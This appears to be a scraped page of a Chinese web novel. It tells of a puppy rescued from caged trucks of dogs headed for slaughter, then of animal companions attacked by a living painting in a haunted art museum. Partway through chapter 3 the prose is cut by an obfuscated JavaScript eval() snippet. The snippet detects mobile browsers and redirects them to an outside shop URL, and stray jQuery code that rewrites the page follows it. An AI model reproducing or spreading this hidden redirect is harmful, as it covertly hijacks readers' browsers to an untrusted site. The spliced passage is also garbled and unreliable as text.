1
桂圆是在卡车和笼子里出生的小狗。
他总是最后一个。
是笼子里最后睁眼的那只，是总瘦瘦小小，伸着懒腰趴在妈妈肚子上，不肯走的那只。
桂圆觉得世界是笼子，大笼子和小笼子叠在一块儿，彼此相邻，又相隔很远；他和妈妈的邻居偶尔是沉默的阿姨，偶尔是爱说话的叔叔。偶尔又会反过来。
桂圆喜欢说话，他说，你们好。然后晃动着尾巴，听叔叔阿姨们分享外面的世界。
什么是外面的世界。
每次聊到外面，笼子里面就会七嘴八舌起来，他们有的说主人，说家，有的说食物，草地和天空。
妈妈也舔着他额头说起姐姐，桂圆问她，姐姐也是小狗吗。
妈妈说姐姐是家人。
三月龄的桂圆，生活总在卡车里颠簸。
颠簸过后卡车到一个地方停下，桂圆躲在妈妈肚子底下，只看到一些笼子被搬走了。
于是桂圆冲到笼子的间隙前，冲他们大叫，说叔叔，我们到下一站再见吧！叔叔，再给我讲外面的故事吧！
叔叔狗微笑着点点头，跟着脖子上那根套绳一步一回头地走远了。
新的笼子们到来，新的叔叔阿姨们到来。笼子又叠起来，裹布一罩，又开始颠簸。
这次，桂圆隔壁的笼子，趴着一只毛发白白卷卷的狗狗阿姨。
她窝在那个角落，叫桂圆狗宝宝，她说“狗宝宝，你好。”
因为她也有一个宝宝，阿姨舔着她肚子底下已经一动不动的宝宝。
阿姨说，天空大多数时候是蓝色。蓝色。
她用鼻子指指桂圆妈妈的脖子，说这个项圈就是蓝色。这是桂圆喜欢的颜色。
她说外面的世界有高山，有草木，有阳光，也有那种亮黄亮黄的皮球，和神奇的会发出声音的小鸭子玩具，那是一种新奇的味道。
在你奔跑时，你会感觉到风，还有在后面追着你欢呼的爸爸和妈妈。
外面变黑，好几个不停颠簸的晚上，桂圆都在听阿姨讲着故事。
他和上边笼子，下边笼子，和旁边笼子的其他狗宝宝一样，都喜欢听睡前故事，含着妈妈们的毛发眼神变得期待，向往。
他们都说想看看外面的世界。
桂圆睡了不知道多久，车停了，裹布又一次掀起来。
他争着想透过笼子缝隙，去看一眼外面的世界。但阿姨不安起来，起身大叫着让他回去，妈妈也发着抖把他用力地按下了肚子下面。
有说话的声音。
桂圆从妈妈的毛发里惊恐地往外看。
笼子又一个接一个卸下了。
阿姨的脖子被套上一根绳子，一下下往下拖去。她往回拉着，不停地回头看，说她的宝宝还在笼子里。
然后阿姨望着他。
她说我不想死，我不想死，我想要我的宝宝，我想回家。
桂圆紧紧闭上了眼睛。
他不想看世界了。他只希望周围大家哭泣的声音能停下来，停下来。
后来，桂圆在这个笼子里，他爱着妈妈，爱蹭鼻鼻，爱被妈妈舔肚子，所以满怀着希望。他们度过了这个寒冬。
有一天，妈妈不见了。他长大，将后背顶到狭窄的笼顶，顶得骨头发痛，除了每天都在发炎就是骨头变形般的痛着，就这样，他空洞而孤独地坐在那个世界。
后来。后来。很后来。
外面传来争吵。大家都在害怕地大叫，大家已经不想失去彼此了。
有一群人冲进来，冲向角落里堆放着的大家的笼子，他们说着什么，把门一个一个拉开，把惊慌跑散的大家用东西围在一起。
桂圆蜷坐在笼子深处，被一束刺眼的光照着瞳孔和身体。
“这也有个活着——”那个人对身后喊道，然后他向桂圆伸出手，说，“好了，对，慢慢出来……别怕，好狗狗。”
很后来的后来，桂圆睡了一个好觉，醒来前爪上有一根长长的软管子，但是桂圆没有害怕。
他闻到了那个用手电照着他的人的气味。
桂圆把脑袋靠在垫片上，舌头从嘴边垂了出来。
他贪婪地望着这个明亮洁白的世界。
再后来一点，他被爸爸抱回了家。在那个小小的一室户里，拥有一个自己的小窝。
出去遛遛的时候，桂圆总听见有人说爸爸很穷，那么穷了还要做那些志愿那些慈善。
穷是什么。是爸爸吗。
那桂圆就是一只骄傲的小穷狗。
所以，在跟着爸爸的气味一路奔出互助会会场，看到那些人带着爸爸，挤上那辆白色面包车之后，桂圆就开始奔跑，奔跑。
追着道路前方里车尾部的一点白色影子，桂圆用尽全力地奔跑。
他跑了很久，跑到身后全是喇叭尖鸣，跑到几次差点被撞翻，跑到脚底印变成一只只红色的梅花，跑到无数巨大惨白的灯光都在后面追逐。
爸爸。爸爸！桂圆说，你去哪里！
面包车拐过不知道多少条巷道，桂圆追着最后一点气味抵达的时候，已经不知道过去了多少天。车早已经停下，熄了火，车头正对着一扇高高的白色建筑的后门。
桂圆夹起尾巴，伸着头往里看了一眼。
爸爸。
然后他哆嗦着抬起了脚——
“干得漂亮。”
这时，什么东西从旁边撞了他一下，一条软蓬蓬的奶金色大尾巴勾着从鼻头前擦过，走在了他前面。
“你找到他们了，狗。”
小小的背影没有停下：“走吧，把里面的混蛋们狠狠打一顿，去把你的，和所有人的家人都找回来……再狠狠的，把这群傻瓜也打一顿。”
2
当前位置：青隅市立美术馆·特展厅后门
——
时间：深夜。闭馆后。
灯已经灭了，但这里有些东西还醒着。
位置说明：欢迎您来到青隅市立美术馆！
这里是青隅市最大的美术中心……的后门，白天很安静，晚上也很安静，现在正是雕塑展的第三天。
美术馆的客人们即将穿过一扇没关紧的消防安全门，直面那条祂的，艺术的长廊。
???
欢■■■■■■■迎■您。
3
长廊两边是画。
灯全亮着，前路都是亮堂的方形的白色地砖。我们经过，却不敢盯着看。
因为我担心它们会像小时候我和白夏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618895|204481||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
温裹着被子，看的恐怖片里一样活过来，盯着我们，或者把我们拖进那些画里去。
“不不不不不不不不不不白夏温，呕哇噢噢噢那只眼睛盯着我……”
“呃呃呃呃这个汪嗷嗷这个脸上的苹果是什么好可怕！”
我和桂圆抱着头脸朝地蜷缩着已经尿的不分彼此。
“《人类之子》，勒内·马格利特的。”白夏温说，“不是我在我爸那个纽约的藏家朋友仓库里看的那张，显然，这玩意儿是版画——你们俩真的要连这种东西都害怕吗？”
然后白夏温翻了下眼睛，后腿跟上前爪，身形因为步姿拉大而修长起来。
其实这更像一大团圆鼓鼓正在把自己拉成猕猴桃。
他从一幅幅画前走过。
“《镜前女孩》，诺曼·洛克威尔，去年夏天，我在洛克威尔信托馆看到过它，所以说这家伙把娃娃的皮鞋颜色都上错了；还有这个，里希特的《三根蜡烛》，我爸带我去曼哈顿找他朋友那次……”
我突然叫了起来：“白白白白白白夏温！”
“天啊，懵九，你这个没有艺术细胞看电影也只会尖叫的蠢狗，你知道艺术馆是不能大叫，咦？”
我扑了一半过去但太晚了。
一只手——那只惨白的，油画般的手臂上错误地长着几根手指——早已经从白夏温头顶的那副画里伸出来，伸到腹部下方，将白夏温从底下轻轻抱起。
【看看，我摸到你了，小猫。】
【真柔软……】
手抬把白夏温举得很高，高到我仰头，脖子后边都会嘎吱一声。
把白夏温放下来！我大叫，不许，不许白夏温不同意就玩跳楼机！
然后我后腿蹬在地上，四肢并用冲过去不断去扒拉白夏温。我大声叫他的名字，张嘴去咬那只可恶的手。
但白夏温被那只手掌托得太高了。
我只咬进小指的一片皮肉，整片嘴皮都过度用力地龇起来，就随着升高被吊在了那只手上。
四条腿和一道可疑的黄色在空中乱刨。
白夏温脊椎弓起，他带着浑身炸开的毛嘶叫一声，朝上方抬起头，随后就看到画中有一张脸——一张变化着的脸。
小孩，女人，老人……最后是，男人。
【你想他了。】祂说。
祂用白夏温的爸爸，用那张温文尔雅的脸笑起来：【看啊，原来这只想拯救所有人，聪明的不得了的小猫，只是一个，看到爸爸会哭的可爱小朋友，我该说什么？】
【儿童节快乐，我家的……宝宝？】
几乎要脱力松口的挣扎里，我看到白夏温那双又大，又漂亮的翡翠色眼睛拼命忍着泪水，他咬咬牙，但还是有什么顺着鼻梁流下来。
他叫了一声混蛋，身体拉成一条直线、后腿蹬直，扑过去将爪子死死抓进了那家伙的脸。
在那放肆的大笑声中，白夏温被抱着一起倒向了画里。
【你回不了家，亲爱的，我的小宝贝——从过去到现在，这里的每一个节点，都没有一个物体与生命，回过他们原本的地方。】
【所以，就让我来……】
【当你的爸爸吧。】
“白白白白夏温！”我一边尿着圈一边纵身扑了进去。